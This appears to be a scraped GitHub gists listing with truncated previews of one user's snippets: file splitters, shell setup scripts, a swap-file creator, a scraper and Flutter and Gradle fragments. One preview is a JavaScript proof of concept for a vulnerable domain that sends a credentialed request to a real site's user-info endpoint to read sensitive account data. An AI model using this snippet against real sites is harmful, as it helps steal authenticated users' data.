This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import sys | |
| if len(sys.argv) != 3: | |
| print("Usage: python script.py BUYUK_DOSYA_ADI SATIR_SAYISI_LIMITI") | |
| sys.exit(1) | |
| # Komut satırı argümanlarını al | |
| buyuk_dosya_adi = sys.argv[1] | |
| satir_sayisi_limiti = int(sys.argv[2]) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| # Show the list of network interfaces | |
| echo "Available network interfaces:" | |
| networksetup -listallhardwareports | grep "Hardware Port" | |
| # Prompt the user to enter the interface number | |
| echo "Enter the number of the interface you want to change (e.g., 1 for en0): " | |
| read interface_num |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import re | |
| mext = '' | |
| with open('html.txt', 'r') as f: | |
| text = f.read() | |
| mext = re.sub('<[^<]+?>', '', text) | |
| with open('without_html.txt', 'w') as x: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // mkdir program && cd program | |
| // touch main.go | |
| // paste code to main.go | |
| // go build | |
| // ./program | |
| package main | |
| import ( |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| awesomeWidget(BuildContext context) { | |
| var verticalGestures = Factory<VerticalDragGestureRecognizer>(() => VerticalDragGestureRecognizer()); | |
| var gestureSet = {verticalGestures}; | |
| final Completer<WebViewController> _controller = Completer<WebViewController>(); | |
| Future<void> _loadHtmlString(Completer<WebViewController> controller, BuildContext context) async { | |
| WebViewController _controller = await controller.future; | |
| await _controller.loadHtmlString(webview_content); | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // You should have ../key.properties , and ../app.keystore file | |
| def localProperties = new Properties() | |
| def localPropertiesFile = rootProject.file('local.properties') | |
| if (localPropertiesFile.exists()) { | |
| localPropertiesFile.withReader('UTF-8') { reader -> | |
| localProperties.load(reader) | |
| } | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // The code executed on vulnerable domain, to make request which have sensitive information. | |
| function resp(){ | |
| alert(this.responseText); | |
| } | |
| var xhttp = new XMLHttpRequest(); | |
| xhttp.addEventListener("load",resp); | |
| xhttp.open("GET","https://apple.com/user/info"); | |
| xhttp.withCredentials = true; // this will add cookie to request |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| echo "Start to create 4GB Swap Area..." | |
| sudo fallocate -l 4G /swapfile | |
| ls -lh /swapfile >> /dev/null | |
| sudo chmod 600 /swapfile | |
| ls -lh /swapfile >> /dev/null | |
| sudo mkswap /swapfile | |
| sudo swapon /swapfile | |
| sudo echo "/swapfile none swap sw 0 0" >> /etc/fstab | |
| echo "Finished!" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| #Download GO and install it | |
| curl=$(which curl) | |
| outfile="output.txt" | |
| base_url="https://go.dev" | |
| download="dl" | |
| url="$base_url/$download/" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #import json | |
| from scrapy.selector import Selector | |
| from requests import get | |
| from time import sleep | |
| def update(): | |
| r = get(url) | |
| source_code = r.text | |
| total_cases = Selector(text=source_code).xpath('//*[@id="maincounter-wrap"][1]/div/span/text()').get() |